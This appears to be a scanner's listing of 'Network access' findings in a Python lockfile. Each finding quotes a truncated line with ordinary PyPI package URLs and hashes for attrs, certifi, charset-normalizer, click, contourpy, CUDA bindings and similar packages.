    version = "26.1.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/9a/8e/82a0fe20a541c03148528be8cac2408564a6c9a0cc7e9171802bc1d26985/attrs-26.1.0.tar.gz", hash = "sha256:d03ceb89c
  • Network accessline 121
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 122
    sdist = { url = "https://files.pythonhosted.org/packages/9a/8e/82a0fe20a541c03148528be8cac2408564a6c9a0cc7e9171802bc1d26985/attrs-26.1.0.tar.gz", hash = "sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32", size = 95205
  • Network accessline 123
    wheels = [     { url = "https://files.pythonhosted.org/packages/64/b4/17d4b0b2a2dc85a6df63d1157e028ed19f90d4cd97c36717afef2bc2f395/attrs-26.1.0-py3-none-any.whl", hash = "sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac3
  • Network accessline 124
    { url = "https://files.pythonhosted.org/packages/64/b4/17d4b0b2a2dc85a6df63d1157e028ed19f90d4cd97c36717afef2bc2f395/attrs-26.1.0-py3-none-any.whl", hash = "sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309", size = 675
  • Network accessline 128
    name = "certifi" version = "2026.7.22" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 129
    version = "2026.7.22" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/a3/c2/24167ea9858356b47a87a50d39908bfdb72ceeefe0041586e704e5376b3a/certifi-2026.7.22.tar.gz", hash = "sha256:7
  • Network accessline 130
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 131
    sdist = { url = "https://files.pythonhosted.org/packages/a3/c2/24167ea9858356b47a87a50d39908bfdb72ceeefe0041586e704e5376b3a/certifi-2026.7.22.tar.gz", hash = "sha256:741e2c3b351ddf169a738da9f2c048608ff7f2c5cc02f1ebc6b118bb090d5d55", size = 
  • Network accessline 132
    wheels = [     { url = "https://files.pythonhosted.org/packages/0b/a7/71ac2cff56fec219ed242bb11b8efb69fcc4bec75db06fb7bfe35de520e6/certifi-2026.7.22-py3-none-any.whl", hash = "sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c99292
  • Network accessline 133
    { url = "https://files.pythonhosted.org/packages/0b/a7/71ac2cff56fec219ed242bb11b8efb69fcc4bec75db06fb7bfe35de520e6/certifi-2026.7.22-py3-none-any.whl", hash = "sha256:62f22742b58a1a33014a2b6b706588a8d7e2a88ae7bd1a6ebe8c992928483775", size 
  • Network accessline 137
    name = "charset-normalizer" version = "3.5.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 138
    version = "3.5.1" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/e5/3f/143b048436775b0f76ac3eec145c019e8173ccc2885c8f20319b996d5e83/charset_normalizer-3.5.1.tar.gz", hash = "sha25
  • Network accessline 139
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 140
    sdist = { url = "https://files.pythonhosted.org/packages/e5/3f/143b048436775b0f76ac3eec145c019e8173ccc2885c8f20319b996d5e83/charset_normalizer-3.5.1.tar.gz", hash = "sha256:6117b84ea48435e5356dc737f5121485c30920ba43375fa7b434fd753df0eac3", 
  • Network accessline 141
    wheels = [     { url = "https://files.pythonhosted.org/packages/bc/61/2cb6ad133dbbb449fa2d37ccae973232f4827e799af258d15e589a3d1e9e/charset_normalizer-3.5.1-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:4f298bdadb8f0b9e5672877f647d1b
  • Network accessline 142
    { url = "https://files.pythonhosted.org/packages/bc/61/2cb6ad133dbbb449fa2d37ccae973232f4827e799af258d15e589a3d1e9e/charset_normalizer-3.5.1-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:4f298bdadb8f0b9e5672877f647d1be9373ef5320c9e2
  • Network accessline 143
    { url = "https://files.pythonhosted.org/packages/18/57/a305c968be1ca13f3dd1b32f445877e97addf55d80b65c7cb35fac82b777/charset_normalizer-3.5.1-cp313-cp313-android_24_x86_64.whl", hash = "sha256:88ca277405c2d3b71c4e1c2ee0e7966e807bcba86a69d11e
  • Network accessline 144
    { url = "https://files.pythonhosted.org/packages/09/0a/d3646670292ce8d8f8cc11ac067d44885e697a5591f57a9221128da5e7b3/charset_normalizer-3.5.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:9362dd90aa7dab48c0054a21187791ccf05473f7db
  • Network accessline 145
    { url = "https://files.pythonhosted.org/packages/de/93/d51ec556e01042fed6f993ea859311bc7917b466684182fbbceb6ca24762/charset_normalizer-3.5.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:977cdbd483a9cff38179bea4fd754289a6f
  • Network accessline 146
    { url = "https://files.pythonhosted.org/packages/a4/a0/562247944386f7d4ef94467e84876600cc1e0f1b93239aaa9213d2bc3cbd/charset_normalizer-3.5.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e90251c0c7bdd54a100a0dce3c07b7e637278c93af
  • Network accessline 147
    { url = "https://files.pythonhosted.org/packages/31/e7/1d994be1b93d41e9502b8b0460eaa88a1dd8df335df415db87d6c3e91ab2/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha25
  • Network accessline 148
    { url = "https://files.pythonhosted.org/packages/09/53/27923ce5cc6cbccb832037b27dca98882d9c53e9b69e866bbbef4aae7fc8/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:d
  • Network accessline 149
    { url = "https://files.pythonhosted.org/packages/ce/48/5a97e84d63af1d55c07439cb80e56d99a8efb4295700eb4e18c0d1615d2c/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha25
  • Network accessline 150
    { url = "https://files.pythonhosted.org/packages/7a/c2/071575791dcc88316c0a9a65ce38897a82e4cfe4a325f0f7fe1b1ac47bcf/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:394f
  • Network accessline 151
    { url = "https://files.pythonhosted.org/packages/fb/af/63240b0c0248c075c2535a1f1bd992821d8251b9f173abc13329661d09e4/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6
  • Network accessline 152
    { url = "https://files.pythonhosted.org/packages/4d/66/70dfad64f15be09c15ccfee81330a7e515895dbe296dd23114e9a231268a/charset_normalizer-3.5.1-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fa48b1b63d639f9483e0
  • Network accessline 153
    { url = "https://files.pythonhosted.org/packages/c0/24/ef36367d38b9ddd4bccbf72888c342e8de1f5ae506fa0b2dcf970e2732a1/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c71fb0d56c920c269cd3e2e3fe7c610e3f1fdb21a6ce
  • Network accessline 154
    { url = "https://files.pythonhosted.org/packages/db/ab/55e683ba0fff2e43adafc10daa3001eac90fdaa419a97227d5a7067eedde/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:485a0d363cafefcd2538a73c7c838daa2035f09b2c9f9
  • Network accessline 155
    { url = "https://files.pythonhosted.org/packages/bd/67/0f40eaf8d1b6e7cf15e82382a2965efaca787fc1c2794b7021d37aaf5036/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:5c0ea61a470e070686aa30892fed79e297d2c8d0ab46
  • Network accessline 156
    { url = "https://files.pythonhosted.org/packages/5c/64/12b4c2a11ee8df4fcc518c78b0d93e3a92bd3d5253d1617ce74ff0e8c7ef/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:90b7481fb62fbe172c558bc6fd1c4c98d82004a54a75
  • Network accessline 157
    { url = "https://files.pythonhosted.org/packages/37/2e/651d910af6d0fba325eee1cda37ec5443462ed25360e666c144166eb6091/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:35fe081843b35aad20ffeccec3eeffbe637b15d14f3fb2
  • Network accessline 158
    { url = "https://files.pythonhosted.org/packages/90/c6/b09e05e6db7f64338e0dc067c79577b1138da86c1e38369096851d96be88/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fd0350afdc3aabd5576f60ea109228bd5538139713c7b
  • Network accessline 159
    { url = "https://files.pythonhosted.org/packages/76/4e/362d4f9fdcdf5556fb2aa3ce7d4a58ebce03ed1ff03aa1d9aca8d02f13f3/charset_normalizer-3.5.1-cp313-cp313-pyemscripten_2025_0_wasm32.whl", hash = "sha256:9d9a0dc7cbe9bec24c3f767c9122c41fe5a1bc4
  • Network accessline 160
    { url = "https://files.pythonhosted.org/packages/b4/d4/703be739b26acce318bd29eb3b25b7209e1b1f527f9eae3d1f1f01fdde2b/charset_normalizer-3.5.1-cp313-cp313-win32.whl", hash = "sha256:d63600d620ad0064c3a748b950ac5ea38a80190e5498532efefa4b7b3f1d
  • Network accessline 161
    { url = "https://files.pythonhosted.org/packages/8a/33/56d97ade41c8db611e727168c52ae46c9224c362ec28d4b65d7e9869e8da/charset_normalizer-3.5.1-cp313-cp313-win_amd64.whl", hash = "sha256:aea996a6aba25260827c9ea511d1addfde2da9eb686ac96183850908
  • Network accessline 162
    { url = "https://files.pythonhosted.org/packages/5b/75/5b20dd1e6573a01a08158fe104104fa2c8abf941745596954185726cd46c/charset_normalizer-3.5.1-cp313-cp313-win_arm64.whl", hash = "sha256:fd0a274c0e5f9a21565cd9d3dd749b61f96b7aa1e20a93aa1ba40295
  • Network accessline 163
    { url = "https://files.pythonhosted.org/packages/5b/97/fb4e82231aba271ffd775a1b4993b0defc4e3059f286ae41d9433409fe85/charset_normalizer-3.5.1-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:41876ee62a3dddf48ff1121ad8f0798032aa03f2fd35f
  • Network accessline 164
    { url = "https://files.pythonhosted.org/packages/9f/2f/fe3f187327aac18e2d54e9d2b08e15d27bf9b642d9e51c219f130fc34d1a/charset_normalizer-3.5.1-cp37-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:a6dac12
  • Network accessline 165
    { url = "https://files.pythonhosted.org/packages/d7/c7/9e48cee5c161fe24da823b61bf381921d77cb994a0a4de148e95018c1984/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:
  • Network accessline 166
    { url = "https://files.pythonhosted.org/packages/49/e0/716601f3cc69be7b198951150c75ead1ece33c3c8036ff6ffa46029659a0/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:343
  • Network accessline 167
    { url = "https://files.pythonhosted.org/packages/d3/05/71bfc5caa0abcc45aea1f6a4d50ac68e59605ddc7666fe8494f4cd229665/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:
  • Network accessline 168
    { url = "https://files.pythonhosted.org/packages/c3/92/de7e32ed05341e7a9c4c877c318418197b7f2d66a3b68d561bf2ac57ca3e/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b5997
  • Network accessline 169
    { url = "https://files.pythonhosted.org/packages/f5/7b/ade0a122600319dfa0b1000ab0f9731c94a817904cf3c5de408c73a4ede7/charset_normalizer-3.5.1-cp37-abi3-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b39b69b347e5e47a3b5b8c
  • Network accessline 170
    { url = "https://files.pythonhosted.org/packages/75/9c/019fbb9f4834491a160951349b1a3714439376f66e5f7cf18b4f18f0c7aa/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:a2028475ba855475b8b4d3cfeb4994269c967aea8b9892
  • Network accessline 171
    { url = "https://files.pythonhosted.org/packages/2b/b8/11d4840bfc99330cc7fbcc2681ee5a044553a6e77655508d8f9b2bff7b34/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:36047af20e17097c3bb9476c2b7655f2f7aa51322c0ba58
  • Network accessline 172
    { url = "https://files.pythonhosted.org/packages/18/96/2b3a21492d9f65171ac75d872f5018260013d00bfa0ff70ec9f179148cbd/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_ppc64le.whl", hash = "sha256:4c4fb141a727957c93edfe5c32a26ceb6b5f6461d67146
  • Network accessline 173
    { url = "https://files.pythonhosted.org/packages/d6/aa/a69a2028e8bd052476c245460ab19d7de595de084dd968f2d75cd50c3e25/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_riscv64.whl", hash = "sha256:2f293479cce755c75f1697e87c409b7ae4c555c7dfecb6
  • Network accessline 174
    { url = "https://files.pythonhosted.org/packages/35/8a/3d130aeabcaf3d2466af76b7b141c08d9e89c9016ab4b7cdd0f7dc2d1c62/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_s390x.whl", hash = "sha256:3588e376b3ea2eea84976f67273d679f229e24c66dce7b82
  • Network accessline 175
    { url = "https://files.pythonhosted.org/packages/80/c2/a7379b840292d0c1ab9fbd17d1f3967aa81794dc95bc74be8999d7fedcf7/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:e199fb99720074809a7720f1c0b4d919eea8b87e88713e0
  • Network accessline 176
    { url = "https://files.pythonhosted.org/packages/01/65/d43b714731bb2f40d4053dfa00ecfc1c5a301f8e3316c5db3a09af59fe94/charset_normalizer-3.5.1-cp37-abi3-win32.whl", hash = "sha256:dd732602a7009217f658d5863d12d79d373a4de0eebc111094bcdd3bb8e0a6
  • Network accessline 177
    { url = "https://files.pythonhosted.org/packages/35/4f/b911ed898b26a09789eba9c9200c999aff6c61b4bafaf4838e56d1a1e1a3/charset_normalizer-3.5.1-cp37-abi3-win_amd64.whl", hash = "sha256:70055ff39b97c99e7ae40ea3e393fb62aa2e44dbd9b29f8d14f42fb002
  • Network accessline 178
    { url = "https://files.pythonhosted.org/packages/f0/a7/920baf467bfd9bf689f3b318340f37aee4572a71f162bd8db51da55ba4fa/charset_normalizer-3.5.1-cp37-abi3-win_arm64.whl", hash = "sha256:87e4f41d375c0b9be2fb5251aee4b8a689169e134535aed81bf085c3b6
  • Network accessline 179
    { url = "https://files.pythonhosted.org/packages/cc/61/d01fc49b8dea277640b55a9e15960dbca9fdc8c9fde18e572d39c59f4019/charset_normalizer-3.5.1-py3-none-any.whl", hash = "sha256:6df0ec430f9a831772c23ca5a224cba36517a58a84bb32c32bb59a9fa67c47f6"
  • Network accessline 183
    name = "click" version = "8.5.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 184
    version = "8.5.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/c7/0e/7fa0ef50764b67090eca4114772a2abf8b6148198475e54c660b97caeee6/click-8.5.0.tar.gz", hash = "sha256:ba0d2089de7
  • Network accessline 185
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 186
    sdist = { url = "https://files.pythonhosted.org/packages/c7/0e/7fa0ef50764b67090eca4114772a2abf8b6148198475e54c660b97caeee6/click-8.5.0.tar.gz", hash = "sha256:ba0d2089de75ea0310e2dde03160e6ca10009947fb95a182f9b54021bb272e34", size = 382235
  • Network accessline 187
    wheels = [     { url = "https://files.pythonhosted.org/packages/58/50/6c0d534c5f134586a8e1ba4e330569e32f057e33372ae556463212fb4cd3/click-8.5.0-py3-none-any.whl", hash = "sha256:255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee36
  • Network accessline 188
    { url = "https://files.pythonhosted.org/packages/58/50/6c0d534c5f134586a8e1ba4e330569e32f057e33372ae556463212fb4cd3/click-8.5.0-py3-none-any.whl", hash = "sha256:255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360", size = 1252
  • Network accessline 192
    name = "colorama" version = "0.4.6" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 193
    version = "0.4.6" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5c
  • Network accessline 194
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 195
    sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 276
  • Network accessline 196
    wheels = [     { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57a
  • Network accessline 197
    { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size
  • Network accessline 201
    name = "colorlog" version = "6.12.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 202
    version = "6.12.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 203
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 205
    { name = "colorama", marker = "sys_platform == 'win32'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/8c/55/ba79756cb90c8d69d599d57785398ac87bba7b19c80e87f4e8a562197c93/colorlog-6.12.0.tar.gz", hash = "sha256:2a7924c1dadf18b
  • Network accessline 206
    ] sdist = { url = "https://files.pythonhosted.org/packages/8c/55/ba79756cb90c8d69d599d57785398ac87bba7b19c80e87f4e8a562197c93/colorlog-6.12.0.tar.gz", hash = "sha256:2a7924c1dadf18b22a0eb8b06d1c7b01d5341707ec1641eb6fcc4fde0c3e8e5f", size = 
  • Network accessline 207
    sdist = { url = "https://files.pythonhosted.org/packages/8c/55/ba79756cb90c8d69d599d57785398ac87bba7b19c80e87f4e8a562197c93/colorlog-6.12.0.tar.gz", hash = "sha256:2a7924c1dadf18b22a0eb8b06d1c7b01d5341707ec1641eb6fcc4fde0c3e8e5f", size = 18
  • Network accessline 208
    wheels = [     { url = "https://files.pythonhosted.org/packages/d4/19/0b6647bf5e331521e55d2b63bfbdc210bd9cd605189273f03614a05f702d/colorlog-6.12.0-py3-none-any.whl", hash = "sha256:30d392604e9110045a2c2aeefc27d7a017abbab63f3a8aee594eac0801d
  • Network accessline 209
    { url = "https://files.pythonhosted.org/packages/d4/19/0b6647bf5e331521e55d2b63bfbdc210bd9cd605189273f03614a05f702d/colorlog-6.12.0-py3-none-any.whl", hash = "sha256:30d392604e9110045a2c2aeefc27d7a017abbab63f3a8aee594eac0801df784e", size = 
  • Network accessline 213
    name = "contourpy" version = "1.3.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 214
    version = "1.3.3" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 215
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 217
    { name = "numpy" }, ] sdist = { url = "https://files.pythonhosted.org/packages/58/01/1253e6698a07380cd31a736d248a3f2a50a7c88779a1813da27503cadc2a/contourpy-1.3.3.tar.gz", hash = "sha256:083e12155b210502d0bca491432bb04d56dc3432f95a979b429f28
  • Network accessline 218
    ] sdist = { url = "https://files.pythonhosted.org/packages/58/01/1253e6698a07380cd31a736d248a3f2a50a7c88779a1813da27503cadc2a/contourpy-1.3.3.tar.gz", hash = "sha256:083e12155b210502d0bca491432bb04d56dc3432f95a979b429f2848c3dbe880", size = 
  • Network accessline 219
    sdist = { url = "https://files.pythonhosted.org/packages/58/01/1253e6698a07380cd31a736d248a3f2a50a7c88779a1813da27503cadc2a/contourpy-1.3.3.tar.gz", hash = "sha256:083e12155b210502d0bca491432bb04d56dc3432f95a979b429f2848c3dbe880", size = 13
  • Network accessline 220
    wheels = [     { url = "https://files.pythonhosted.org/packages/68/35/0167aad910bbdb9599272bd96d01a9ec6852f36b9455cf2ca67bd4cc2d23/contourpy-1.3.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:177fb367556747a686509d6fef71d221a4b198a3
  • Network accessline 221
    { url = "https://files.pythonhosted.org/packages/68/35/0167aad910bbdb9599272bd96d01a9ec6852f36b9455cf2ca67bd4cc2d23/contourpy-1.3.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:177fb367556747a686509d6fef71d221a4b198a3905fe824430e5ea
  • Network accessline 222
    { url = "https://files.pythonhosted.org/packages/96/e4/7adcd9c8362745b2210728f209bfbcf7d91ba868a2c5f40d8b58f54c509b/contourpy-1.3.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d002b6f00d73d69333dac9d0b8d5e84d9724ff9ef044fd63c5986e62b
  • Network accessline 223
    { url = "https://files.pythonhosted.org/packages/73/23/90e31ceeed1de63058a02cb04b12f2de4b40e3bef5e082a7c18d9c8ae281/contourpy-1.3.3-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:348ac1f5d4f1d66d3322420f01d42
  • Network accessline 224
    { url = "https://files.pythonhosted.org/packages/ed/93/b43d8acbe67392e659e1d984700e79eb67e2acb2bd7f62012b583a7f1b55/contourpy-1.3.3-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:655456777ff65c2c548b7c454af9c
  • Network accessline 225
    { url = "https://files.pythonhosted.org/packages/46/3b/bec82a3ea06f66711520f75a40c8fc0b113b2a75edb36aa633eb11c4f50f/contourpy-1.3.3-cp313-cp313-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:644a6853d15b2512d67881586bd03f462
  • Network accessline 226
    { url = "https://files.pythonhosted.org/packages/4b/32/e0f13a1c5b0f8572d0ec6ae2f6c677b7991fafd95da523159c19eff0696a/contourpy-1.3.3-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4debd64f124ca62069f313a9cb86656
  • Network accessline 227
    { url = "https://files.pythonhosted.org/packages/33/71/e2a7945b7de4e58af42d708a219f3b2f4cff7386e6b6ab0a0fa0033c49a9/contourpy-1.3.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a15459b0f4615b00bbd1e91f1b9e19b7e63aea7483d03d804186f
  • Network accessline 228
    { url = "https://files.pythonhosted.org/packages/12/fc/4e87ac754220ccc0e807284f88e943d6d43b43843614f0a8afa469801db0/contourpy-1.3.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ca0fdcd73925568ca027e0b17ab07aad764be4706d0a925b89227e
  • Network accessline 229
    { url = "https://files.pythonhosted.org/packages/a6/2e/adc197a37443f934594112222ac1aa7dc9a98faf9c3842884df9a9d8751d/contourpy-1.3.3-cp313-cp313-win32.whl", hash = "sha256:b20c7c9a3bf701366556e1b1984ed2d0cedf999903c51311417cf5f591d8c78d", si
  • Network accessline 230
    { url = "https://files.pythonhosted.org/packages/18/0b/0098c214843213759692cc638fce7de5c289200a830e5035d1791d7a2338/contourpy-1.3.3-cp313-cp313-win_amd64.whl", hash = "sha256:1cadd8b8969f060ba45ed7c1b714fe69185812ab43bd6b86a9123fe8f99c3263"
  • Network accessline 231
    { url = "https://files.pythonhosted.org/packages/8a/9a/2f6024a0c5995243cd63afdeb3651c984f0d2bc727fd98066d40e141ad73/contourpy-1.3.3-cp313-cp313-win_arm64.whl", hash = "sha256:fd914713266421b7536de2bfa8181aa8c699432b6763a0ea64195ebe28bff6a9"
  • Network accessline 232
    { url = "https://files.pythonhosted.org/packages/c0/b3/f8a1a86bd3298513f500e5b1f5fd92b69896449f6cab6a146a5d52715479/contourpy-1.3.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:88df9880d507169449d434c293467418b9f6cbe82edd19284aa040
  • Network accessline 233
    { url = "https://files.pythonhosted.org/packages/3f/11/4780db94ae62fc0c2053909b65dc3246bd7cecfc4f8a20d957ad43aa4ad8/contourpy-1.3.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:d06bb1f751ba5d417047db62bca3c8fde202b8c11fb50742ab3ab962
  • Network accessline 234
    { url = "https://files.pythonhosted.org/packages/ae/15/e59f5f3ffdd6f3d4daa3e47114c53daabcb18574a26c21f03dc9e4e42ff0/contourpy-1.3.3-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e4e6b05a45525357e382909a4c16
  • Network accessline 235
    { url = "https://files.pythonhosted.org/packages/0f/81/03b45cfad088e4770b1dcf72ea78d3802d04200009fb364d18a493857210/contourpy-1.3.3-cp313-cp313t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ab3074b48c4e2cf1a960e6bbeb7f
  • Network accessline 236
    { url = "https://files.pythonhosted.org/packages/0c/ba/49923366492ffbdd4486e970d421b289a670ae8cf539c1ea9a09822b371a/contourpy-1.3.3-cp313-cp313t-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:6c3d53c796f8647d6deb1abe867daeb6
  • Network accessline 237
    { url = "https://files.pythonhosted.org/packages/9f/52/5b00ea89525f8f143651f9f03a0df371d3cbd2fccd21ca9b768c7a6500c2/contourpy-1.3.3-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:50ed930df7289ff2a8d7afeb9603f8
  • Network accessline 238
    { url = "https://files.pythonhosted.org/packages/32/1d/a209ec1a3a3452d490f6b14dd92e72280c99ae3d1e73da74f8277d4ee08f/contourpy-1.3.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4feffb6537d64b84877da813a5c30f1422ea5739566abf0bd180
  • Network accessline 239
    { url = "https://files.pythonhosted.org/packages/bc/9e/46f0e8ebdd884ca0e8877e46a3f4e633f6c9c8c4f3f6e72be3fe075994aa/contourpy-1.3.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:2b7e9480ffe2b0cd2e787e4df64270e3a0440d9db8dc823312e2c
  • Network accessline 240
    { url = "https://files.pythonhosted.org/packages/b9/70/f308384a3ae9cd2209e0849f33c913f658d3326900d0ff5d378d6a1422d2/contourpy-1.3.3-cp313-cp313t-win32.whl", hash = "sha256:283edd842a01e3dcd435b1c5116798d661378d83d36d337b8dde1d16a5fc9ba3", s
  • Network accessline 241
    { url = "https://files.pythonhosted.org/packages/b2/dd/880f890a6663b84d9e34a6f88cded89d78f0091e0045a284427cb6b18521/contourpy-1.3.3-cp313-cp313t-win_amd64.whl", hash = "sha256:87acf5963fc2b34825e5b6b048f40e3635dd547f590b04d2ab317c2619ef7ae8
  • Network accessline 242
    { url = "https://files.pythonhosted.org/packages/80/99/2adc7d8ffead633234817ef8e9a87115c8a11927a94478f6bb3d3f4d4f7d/contourpy-1.3.3-cp313-cp313t-win_arm64.whl", hash = "sha256:3c30273eb2a55024ff31ba7d052dde990d7d8e5450f4bbb6e913558b3d6c2301
  • Network accessline 246
    name = "cuda-bindings" version = "13.3.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 247
    version = "13.3.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 248
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 251
    ] wheels = [     { url = "https://files.pythonhosted.org/packages/cc/6e/2394f8163360f8391f8f1b7e72d300a82724edb81a7b7084c799fbd4c91f/cuda_bindings-13.3.1-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9efb21c
  • Network accessline 252
    wheels = [     { url = "https://files.pythonhosted.org/packages/cc/6e/2394f8163360f8391f8f1b7e72d300a82724edb81a7b7084c799fbd4c91f/cuda_bindings-13.3.1-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9efb21c1e
  • Network accessline 253
    { url = "https://files.pythonhosted.org/packages/cc/6e/2394f8163360f8391f8f1b7e72d300a82724edb81a7b7084c799fbd4c91f/cuda_bindings-13.3.1-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9efb21c1ee64981e184b9e0b
  • Network accessline 254
    { url = "https://files.pythonhosted.org/packages/34/c2/ef9b6a63f7dc432712a462c816662e662e00d38caa9b861c8c2588195d03/cuda_bindings-13.3.1-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2732904099e0a4d4db774a5fc6
  • Network accessline 258
    name = "cuda-pathfinder" version = "1.7.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 259
    version = "1.7.0" source = { registry = "https://pypi.org/simple/" } wheels = [
  • Network accessline 260
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 261
